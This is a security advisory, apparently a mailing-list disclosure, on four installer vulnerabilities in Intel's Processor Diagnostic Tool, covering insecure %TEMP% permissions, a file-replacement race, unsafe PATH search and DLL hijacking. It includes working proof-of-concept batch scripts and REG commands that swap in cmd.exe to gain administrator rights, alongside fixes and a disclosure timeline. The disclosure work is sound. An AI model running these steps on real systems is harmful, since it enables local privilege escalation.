Hi @ll,
the executable installers of Intel's Processor Diagnostic Tool
(IPDT) before v4.1.0.27 have three vulnerabilities^Wbeginner's
errors which all allow arbitrary code execution with escalation
of privilege, plus a fourth which allows denial of service.
Intel published advisory SA-00140
<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html>
on 2018-06-27 and updated installers on 2018-05-18.
The vulnerabilities can be exploited in standard installations
of Windows where the user^WUAC-"protected administrator" account
created during Windows setup is used, without elevation.
This precondition holds for the majority of Windows installations:
according to Microsoft's own security intelligence reports
<https://www.microsoft.com/security/sir>, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry data
have only ONE active user account.
#1 Denial of service through insecure file permissions
======================================================
The downloadable executable installer (really: executable
self-extractor built with WinZIP) IPDT_Installer_4.1.0.24.exe
creates a subdirectory with random name in %TEMP%, copies
itself into this subdirectory and then executes its copy.
The subdirectory inherits the NTFS ACLs from its parent
%TEMP%, and so does the copy of the executable self-extractor.
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/29.html>
Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. download IPDT_Installer_4.1.0.24.exe (quite some clueless
copycats still offer it, violating Intel's copyright;
<http://d.computerbild.de/downloads/7835763/IPDT_Installer_4.1.0.24.exe>)
and save it in your "Downloads" directory";
2. add the NTFS access control list entry (D;OIIO;WP;;;WD)
meaning "deny execution of files in this directory for
everyone, inheritable to files in all subdirectories"
to the (user's) %TEMP% directory.
3. execute IPDT_Installer_4.1.024.exe: notice the complete
failure of the executable installer^Wself-extractor,
WITHOUT error message!
#2 Escalation of privilege through insecure file permissions
============================================================
Although the (copy of the) executable self-extractor runs with
administrative privileges (its embedded "application manifest"
specifies 'requireAdministrator'), it extracts its payload, the
REAL installers setup.exe and setup64.exe, plus the batch script
setup.bat, UNPROTECTED into the user's %TEMP% directory, CD's
into %TEMP% and finally executes the extracted batch script
%TEMP%\setup.bat:
--- setup.bat ---
echo off
ver | findstr 6.1.7600
if %errorlevel%==0 goto WinUnsup
ver | findstr 6.0.6001
if %errorlevel%==0 goto WinUnsup
if "%programfiles(x86)%XXX"=="XXX" goto 32BIT
:64BIT
setup64.exe
goto END
:32BIT
setup.exe
goto END
:WinUnsup
echo Intel Processor Diagnostic Tool cannot be installed on this Operating System
echo Please go to Online support page to view list of supported Oerating Systems
pause
:END
exit 0
--- EOF ---
The extracted files inherit the NTFS ACLs from their parent
%TEMP%, allowing "full access" for the unprivileged (owning)
user, who can replace/overwrite the files between their creation
and execution.
Since the files are executed with administrative privileges,
this vulnerability results in arbitrary code execution with
escalation of privilege.
Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. create the following batch script in an arbitrary directory:
--- IPDT.CMD ---
:LOOP1
@If Not Exist "%TEMP%\setup.exe" Goto :LOOP1
Echo >"%TEMP%\setup.bat" WhoAMI.exe /all
Echo >>"%TEMP%\setup.bat" Pause
:LOOP2
@If Not Exist "%TEMP%\setup64.exe" Goto :LOOP2
Copy /Y %COMSPEC% "%TEMP%\setup.exe"
:LOOP3
@Copy %COMSPEC% "%TEMP%\setup64.exe"
@If ERRORLEVEL 1 Goto :LOOP3
--- EOF ---
NOTE: the batch script needs to win a race (which it almost
always will, due to the size of the files extracted).
2. execute the batch script per double-click;
3. execute IPDT_Installer_4.1.024.exe per double-click: notice
the command processor started instead one of the executable
installers, running with administrative privileges.
#3 Escalation of privilege through unsafe search path
=====================================================
In Windows Vista and newer versions, the current working
directory can be removed from the executable search path:
<https://msdn.microsoft.com/en-us/library/ms684269.aspx>
The batch script setup.bat calls setup.exe and setup64.exe
without a path, so the command processor doesn't find the
extracted setup.exe and setup64.exe in its CWD and searches
them via %PATH%.
%PATH% is under full control of the unprivileged user, who
can create rogue setup.exe and setup64.exe in an arbitrary
directory he adds to the %PATH%, resulting again in arbitrary
code execution with escalation of privilege.
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>.
Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. start an unprivileged command prompt in an arbitrary
directory where the unprivileged user can create files,
for example the user's "Downloads" directory;
2. add this (current working) directory to the user's PATH:
PATH %CD%;%PATH%
REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F
3. copy the command processor %COMSPEC% (or any rogue executable
of your choice) as setup.exe and setup64.exe into the current
(working) directory:
COPY %COMSPEC% "%CD%\setup.exe"
COPY %COMSPEC% "%CD%\setup64.exe"
4. set the environment variable NoDefaultCurrentDirectoryInExePath
to an arbitrary value:
SET NoDefaultCurrentDirectoryInExePath=*
REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D "*" /F
5. execute IPDT_Installer_4.1.024.exe per double-click: notice
the command processor started instead of the extracted
executable installers, running with administrative privileges.
#4 Escalation of privilege through DLL search order hijacking
=============================================================
The extracted executable installers setup.exe and setup64.exe,
built with the crapware known as InstallShield, load multiple
Windows system DLLs from their "application directory" %TEMP%
instead from Windows' "system directory" %SystemRoot%\System32\
To quote Raymond Chen
<https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203>
| a rogue DLL in the TEMP directory is a trap waiting to be sprung.
An unprivileged attacker running in the same user account can
copy rogue DLLs into %TEMP%; these are loaded and their DllMain()
routine executed with administrative privileges, once more
resulting in arbitrary code execution with escalation of privilege.
For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>.
Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. follow the instructions from
<https://skanthak.homepage.t-online.de/minesweeper.html>
and build a minefield of forwarder DLLs in your %TEMP%
directory;
NOTE: if you can't or don't want to build the minefield, download
<https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and
MSI.dll in your %TEMP% directory.
2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes
displayed from the DLLs built in step 1!
NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at
least the following 32-bit DLLs from %TEMP%:
UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll
Due to its filename, setup.exe additionally loads WinMM.dll,
SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and
MPR.dll.
Fix:
====
1. DUMP all those forever vulnerable executable installers and
self-extractors; provide an .MSI package or an .INF script plus
a .CAB archive instead!
2. NEVER use an unqualified filename to execute/load an application
or a DLL, ALWAYS specify their fully qualified pathname!
Mitigations:
============
1. DON'T execute executable self-extractors.
2. NEVER execute executable self-extractors with administrative
privileges.
3. extract the payload of the self-extractor with a SAFE and SECURE
unzip.exe into a properly protected directory.
4. exercise STRICT privilege separation: use separate unprivileged
user accounts and privileged administrator account, DISABLE the
"security theatre" UAC in the unprivileged user accounts.
stay tuned
Stefan Kanthak
PS: the "portable executable" IPDT_Installer_4.1.024.exe has an
export directory, but does NOT export any symbols: both the
numbers of names and functions are 0, and the RVAs of the
functions, names and ordinals arrays are 0 too.
Timeline:
=========
2018-03-28 sent vulnerability report to <secure@intel.com>
no reply, not even an acknowledgement of receipt
2018-04-05 resent vulnerability report to <secure@intel.com>,
CC: to CERT/CC
no reply, not even an acknowledgement of receipt
2018-05-03 resent vulnerability report via HackerOne
2018-05-04 Intel acknowledges receipt
2018-05-17 Intel confirms the reported vulnerabilities
2018-05-21 Intel publishes fixed installers, with a dangling
reference to SA-00140 in the release notes, plus
inaccuracies regarding the dependencies of IPDT
NO notification sent to me that fixes have been
published!
2018-06-05 sent report about the errors in the release notes
after stumbling over the fixes
2018-06-12 Intel acknowledges the report regarding the notes
2018-06-27 Intel publishes their advisory SA-00140
AGAIN no notification sent that the advisory has
been published!
Intel's understanding of coordinated disclosure
looks rather weird to me.
